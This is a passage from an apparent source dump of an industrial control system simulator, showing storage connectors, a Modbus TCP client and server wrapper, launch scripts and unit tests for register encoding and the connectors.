self.memcached_client.get(key) 120 | 121 | def __del__(self): 122 | self.memcached_client.disconnect_all() 123 | 124 | 125 | class HardwareConnector(Connector, ABC): 126 | def __init__(self, connection): 127 | Connector.__init__(self, connection) 128 | path = self._path 129 | self.__IP = path.split(':')[0] 130 | self.__port = path.split(':')[1] 131 | self.__clientModbus = ClientModbus(self.__IP, self.__port) 132 | 133 | def get(self, key): 134 | self.__clientModbus.receive(key) 135 | 136 | def set(self, key, value): 137 | self.__clientModbus.send(key, value) 138 | 139 | 140 | class FileConnector(Connector): 141 | def __init__(self, connection): 142 | Connector.__init__(self, connection) 143 | 144 | def initialize(self, values, clear_old=True): 145 | if not os.path.isfile(self._path): 146 | f = open(self._path, "x") 147 | obj = json.dumps(values) 148 | f.write(obj) 149 | f.close() 150 | 151 | def set(self, key, value): 152 | f = open(self._path, 'w') 153 | data = json.load(f) 154 | data[key] = value 155 | obj = json.dumps(data) 156 | f.write(obj) 157 | f.close() 158 | 159 | def get(self, key): 160 | f = open(self._path) 161 | data = json.load(f) 162 | f.close() 163 | return data[key] 164 | 165 | 166 | class ConnectorFactory: 167 | @staticmethod 168 | def build(connection): 169 | validate_type(connection, 'connection', dict) 170 | 171 | connection_keys = connection.keys() 172 | if (not connection_keys) or (len(connection_keys) != 3): 173 | raise KeyError('Connection must contain 3 keys.') 174 | else: 175 | for key in connection_keys: 176 | if (key != 'path') and (key != 'name') and (key != 'type'): 177 | raise KeyError('%s is an invalid key.' % key) 178 | 179 | if connection['type'] == 'sqlite': 180 | sub_path, extension = splitext(connection['path']) 181 | if extension == '.sqlite': 182 | return SQLiteConnector(connection) 183 | else: 184 | raise ValueError('%s is not acceptable extension for type sqlite.' % extension) 185 | 186 | elif connection['type'] == 'file': 187 | return FileConnector(connection) 188 | 189 | elif connection['type'] == 'hardware': 190 | return HardwareConnector(connection) 191 | 192 | elif connection['type'] == 'memcache': 193 | return MemcacheConnector(connection) 194 | 195 | else: 196 | raise ValueError('Connection type is not supported') 197 | 198 | -------------------------------------------------------------------------------- /src/ics_sim/helper.py: -------------------------------------------------------------------------------- 1 | import time 2 | 3 | 4 | def validate_type(variable: str, variable_name: str, variable_type: type): 5 | if type(variable) is not variable_type: 6 | raise TypeError('{0} type is not valid for {1}.'.format(type(variable), variable_name)) 7 | elif not variable_type: 8 | raise ValueError('Empty {0} is not valid.'.format(variable_name)) 9 | 10 | 11 | def current_milli_time(): 12 | return round(time.time() * 1000) 13 | 14 | 15 | def current_milli_cycle_time(cycle): 16 | return round(time.time() * 1000 / cycle) * cycle 17 | 18 | 19 | def debug(msg): 20 | print('DEBUG: ', msg) 21 | 22 | 23 | def error(msg): 24 | print('ERROR: ', msg) 25 | -------------------------------------------------------------------------------- /src/ics_sim/protocol.py: -------------------------------------------------------------------------------- 1 | from pyModbusTCP.client import ModbusClient 2 | from pyModbusTCP.server import ModbusServer, DataBank 3 | 4 | 5 | class Client: 6 | def __init__(self, ip, port): 7 | self.ip = ip 8 | self.port = port 9 | 10 | def receive(self, tag_id): 11 | pass 12 | 13 | def send(self, tag_id, value): 14 | pass 15 | 16 | 17 | class Server: 18 | def __init__(self, ip, port): 19 | self.ip = ip 20 | self.port = port 21 | 22 | def start(self): 23 | pass 24 | 25 | def stop(self): 26 | pass 27 | 28 | def set(self, tag_id, value): 29 | pass 30 | 31 | def get(self, tag_id): 32 | pass 33 | 34 | 35 | class ModbusBase: 36 | def __init__(self, word_num=2, precision=4): 37 | self._precision = precision 38 | self._word_num = word_num 39 | self._precision_factor = pow(10, precision) 40 | self._base = pow(2, 16) 41 | self._max_int = pow(self._base, word_num) 42 | 43 | def decode(self, word_array): 44 | 45 | if len(word_array) != self._word_num: 46 | raise ValueError('word array length is not correct') 47 | 48 | base_holder = 1 49 | result = 0 50 | 51 | for word in word_array: 52 | result *= base_holder 53 | result += word 54 | base_holder *= self._base 55 | 56 | return result / self._precision_factor 57 | 58 | def encode(self, number): 59 | 60 | number = int(number * self._precision_factor) 61 | 62 | if number > self._max_int: 63 | raise ValueError('input number exceed max limit') 64 | 65 | result = [] 66 | while number: 67 | result.append(number % self._base) 68 | number = int(number / self._base) 69 | 70 | while len(result) < self._word_num: 71 | result.append(0) 72 | 73 | result.reverse() 74 | return result 75 | 76 | def get_registers(self, index): 77 | return index * self._word_num 78 | 79 | 80 | class ClientModbus(Client, ModbusBase): 81 | def __init__(self, ip, port): 82 | ModbusBase.__init__(self) 83 | Client.__init__(self, ip, port) 84 | self.client = ModbusClient(host=self.ip, port=self.port) 85 | 86 | def receive(self, tag_id): 87 | self.open() 88 | return self.decode(self.client.read_holding_registers(self.get_registers(tag_id), self._word_num)) 89 | 90 | def send(self, tag_id, value): 91 | self.open() 92 | self.client.write_multiple_registers(self.get_registers(tag_id), self.encode(value)) 93 | 94 | def open(self): 95 | if not self.client.is_open: 96 | self.client.open() 97 | 98 | def close(self): 99 | if self.client.is_open: 100 | self.client.close() 101 | 102 | 103 | class ServerModbus(Server, ModbusBase): 104 | def __init__(self, ip, port): 105 | ModbusBase.__init__(self) 106 | Server.__init__(self, ip, port) 107 | self.server = ModbusServer(ip, port, no_block=True) 108 | 109 | def start(self): 110 | self.server.start() 111 | 112 | def stop(self): 113 | self.server.stop() 114 | 115 | def set(self, tag_id, value): 116 | self.server.data_bank.set_holding_registers(self.get_registers(tag_id),self.encode(value)) 117 | #DataBank.set_words(self.get_registers(tag_id), self.encode(value)) 118 | 119 | def get(self, tag_id): 120 | return self.decode(self.server.data_bank.get_holding_registers(self.get_registers(tag_id), self._word_num)) 121 | #return self.decode(DataBank.get_words(self.get_registers(tag_id), self._word_num)) 122 | 123 | 124 | 125 | class ProtocolFactory: 126 | @staticmethod 127 | def create_client(protocol, ip, port): 128 | if protocol == 'ModbusWriteRequest-TCP': 129 | return ClientModbus(ip, port) 130 | else: 131 | raise TypeError() 132 | 133 | @staticmethod 134 | def create_server(protocol, ip, port): 135 | if protocol == 'ModbusWriteRequest-TCP': 136 | return ServerModbus(ip, port) 137 | else: 138 | raise TypeError() 139 | -------------------------------------------------------------------------------- /src/logs/attack-logs/.gitignore: -------------------------------------------------------------------------------- 1 | #(Keep this empty file here for git directory reason)! 2 | -------------------------------------------------------------------------------- /src/start.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | from pyModbusTCP.server import ModbusServer 4 | 5 | from Configs import TAG 6 | from HMI1 import HMI1 7 | from FactorySimulation import FactorySimulation 8 | from PLC1 import PLC1 9 | from PLC2 import PLC2 10 | 11 | import memcache 12 | from Configs import Connection, TAG 13 | 14 | from ics_sim.protocol import ProtocolFactory 15 | from ics_sim.connectors import FileConnector, ConnectorFactory 16 | 17 | factory = FactorySimulation() 18 | factory.start() 19 | 20 | 21 | plc1 = PLC1() 22 | # plc1.set_record_variables(True) 23 | plc1.start() 24 | 25 | 26 | plc2 = PLC2() 27 | # plc2.set_record_variables(True) 28 | plc2.start() 29 | 30 | hmi1 = HMI1() 31 | hmi1.start() 32 | 33 | """ 34 | 35 | connector = ConnectorFactory.build(Connection.File_CONNECTION) 36 | """ 37 | 38 | 39 | 40 | 41 | 42 | 43 | -------------------------------------------------------------------------------- /src/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #cd src 4 | 5 | name="$1" 6 | if [ -z "$1" ] 7 | then 8 | echo "start command need module_name to initiate!" 9 | exit 1 10 | fi 11 | 12 | if [[ $1 = "FactorySimulation.py" ]] 13 | then 14 | 15 | #IP=$(hostname -I) 16 | #IP_STR=${IP// /,} 17 | sudo memcached -d -u nobody memcached -l 127.0.0.1:11211,192.168.1.31 18 | sudo service memcached start 19 | 20 | fi 21 | 22 | if [ $1 = "PLC1.py" ] || [ $1 = "PLC2.py" ] || [ $1 = "HMI1.py" ] || [ $1 = "HMI2.py" ] || [ $1 = "HMI3.py" ] || [ $1 = "FactorySimulation.py" ] || [ $1 = "Attacker.py" ] || [ $1 = "AttackerMachine.py" ] || [ $1 = "AttackerRemote.py" ] 23 | then 24 | python3 $1 25 | else 26 | echo "the is no command with name: $1" 27 | fi 28 | -------------------------------------------------------------------------------- /src/storage/.gitignore: -------------------------------------------------------------------------------- 1 | #(Keep this empty file here for git directory reason)! 2 | -------------------------------------------------------------------------------- /src/tests/connectionTests.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | from Configs import Connection 3 | 4 | 5 | from ics_sim.connectors import SQLiteConnector, MemcacheConnector, ConnectorFactory 6 | 7 | 8 | class ConnectionTests(unittest.TestCase): 9 | 10 | def test_sqlite_connection(self): 11 | try: 12 | 13 | connection = SQLiteConnector(Connection.SQLITE_CONNECTION) 14 | 15 | value1 = 1 16 | value2 = 2 17 | 18 | connection.initialize([('value1', value1), ('value2', value2)]) 19 | 20 | retrieved_value1 = connection.get('value1') 21 | self.assertEqual(retrieved_value1, value1 , 'get function in sqliteConnection is not working correctly') 22 | 23 | value1 = 10 24 | connection.set('value1', value1) 25 | retrieved_value1 = connection.get('value1') 26 | self.assertEqual(retrieved_value1, value1, 'set function in sqliteConnection is not working correctly') 27 | 28 | 29 | except Exception: 30 | self.fail("cannot init values in the connection!") 31 | 32 | def test_memcache_connection(self): 33 | try: 34 | connection = MemcacheConnector(Connection.MEMCACHE_LOCAL_CONNECTION) 35 | value1 = 1 36 | value2 = 2 37 | connection.initialize([('value1', value1), ('value2', value2)]) 38 | 39 | retrieved_value1 = connection.get('value1') 40 | self.assertEqual(retrieved_value1, value1, 'get function in MemcacheConnection is not working correctly') 41 | 42 | value1 = 10 43 | connection.set('value1', value1) 44 | retrieved_value1 = connection.get('value1') 45 | self.assertEqual(retrieved_value1, value1, 'set function in MemcacheConnection is not working correctly') 46 | 47 | 48 | except Exception: 49 | self.fail("cannot init values in the connection!") 50 | 51 | def test_connection_factory(self): 52 | try: 53 | connection = ConnectorFactory.build(Connection.MEMCACHE_LOCAL_CONNECTION) 54 | value1 = 10 55 | connection.set('value1', value1) 56 | retrieved_value1 = connection.get('value1') 57 | self.assertEqual(retrieved_value1, value1, 'set function in MemcacheConnection is not working correctly') 58 | connection = ConnectorFactory.build(Connection.SQLITE_CONNECTION) 59 | value1 = 10 60 | connection.set('value1', value1) 61 | retrieved_value1 = connection.get('value1') 62 | self.assertEqual(retrieved_value1, value1, 'set function in MemcacheConnection is not working correctly') 63 | 64 | except Exception: 65 | self.fail("cannot init values in the connection!") 66 | -------------------------------------------------------------------------------- /src/tests/modbusBaseTest.py: -------------------------------------------------------------------------------- 1 | import time 2 | import unittest 3 | from ics_sim.helper import debug 4 | from pyModbusTCP.server import ModbusServer, DataBank 5 | 6 | from ics_sim.protocol import ClientModbus, ServerModbus, ModbusBase 7 | 8 | 9 | class ProtocolTests(unittest.TestCase): 10 | 11 | def test_ModbusBase(self): 12 | modbus_base = ModbusBase() 13 | 14 | self.modbusBase_fuc(modbus_base, 0) 15 | self.modbusBase_fuc(modbus_base, .001) 16 | self.modbusBase_fuc(modbus_base, .000001) 17 | self.modbusBase_fuc(modbus_base, 1) 18 | self.modbusBase_fuc(modbus_base, 7654) 19 | self.modbusBase_fuc(modbus_base, 70000) 20 | 21 | def modbusBase_fuc(self, modbus_base, number): 22 | words = modbus_base.encode(number) 23 | new_number = modbus_base.decode(words) 24 | number = round(number, modbus_base._precision) 25 | self.assertEqual(number, new_number, 'encoding and decoding is wrong ({})'.format(number)) 26 | 27 | def test_ModbusServer(self): 28 | server = ModbusServer('127.0.0.1', 5001, no_block=True) 29 | server.start() 30 | server.data_bank.set_holding_registers(5,[10]) 31 | received = server.data_bank.get_holding_registers(5,1)[0] 32 | server.stop() 33 | 34 | self.assertEqual(10, received, 'server read write is not compatible') 35 | 36 | def test_ServerModbus(self): 37 | server = ServerModbus('127.0.0.1', 5001) 38 | server.start() 39 | 40 | self.server_modbus_func(0, 0, server) 41 | self.server_modbus_func(0, 10, server) 42 | self.server_modbus_func(0, 10.1, server) 43 | self.server_modbus_func(0, 10.654, server) 44 | self.server_modbus_func(0, 10.654321, server) 45 | 46 | self.server_modbus_func(5, 0, server) 47 | self.server_modbus_func(5, 10, server) 48 | self.server_modbus_func(5, 10.1, server) 49 | self.server_modbus_func(5, 10.654, server) 50 | self.server_modbus_func(5, 10.654321, server) 51 | 52 | server.stop() 53 | 54 | def server_modbus_func(self, tag_id, value, server): 55 | server.set(tag_id, value) 56 | received = server.get(tag_id) 57 | value = round(value, server._precision) 58 | self.assertEqual(value, received, 'test_ServerModbus fails on value = {}'.format(value)) 59 | 60 | 61 | def test_client_server_modbus(self): 62 | client = ClientModbus('127.0.0.1', 5001) 63 | server = ServerModbus('127.0.0.1', 5001) 64 | server.start() 65 | 66 | self.client_server_modbus_func(server, client, 0, 10) 67 | self.client_server_modbus_func(server, client, 0, 0) 68 | self.client_server_modbus_func(server, client, 0, 1.2) 69 | self.client_server_modbus_func(server, client, 3, 1.2) 70 | self.client_server_modbus_func(server, client, 3, 7563.42) 71 | 72 | server.stop() 73 | client.close() 74 | 75 | def client_server_modbus_func(self, server, client, tag_id, value): 76 | server.set(tag_id, value) 77 | received = client.receive(tag_id) 78 | value = round(value, server._precision) 79 | self.assertEqual(value, received,'test_client_server_modbus fails on tag_id={} and value={}'.format(tag_id, value)) 80 | 81 | 82 | if __name__ == '__main__': 83 | unittest.main() -------------------------------------------------------------------------------- /src/tests/storage/PhysicalSimulation1.sqlite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/src/tests/storage/PhysicalSimulation1.sqlite --------------------------------------------------------------------------------